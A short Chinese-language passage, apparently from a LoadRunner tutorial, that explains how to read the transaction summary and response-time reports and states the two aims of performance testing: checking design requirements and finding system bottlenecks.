查看Transaction Summary,查看整个压力测试的所处理的事务的汇总统计。
查看Average Transaction Response Time ,可以查看整个Action中所有事务处理的时间走势。
4.通过上面的测试结果我们可以判定我们的测试是否满足要求
不要迷信性能测试,所有的性能“系统的性能不是测试测试出来的,而是系统设计出来的。”
LoadRunner能做系统程序的性能测试,在一些大型系统中,可能对系统测试要分为多个目标多个维度,要对硬件架构进行性能测试,对系统进行性能测试,对网络进行性能测试等等多个维度。
性能测试的目的有两方面,第一方面是测试系统是否满足设计要求。第二方面发现系统的瓶颈,为系统优化提出修改建议。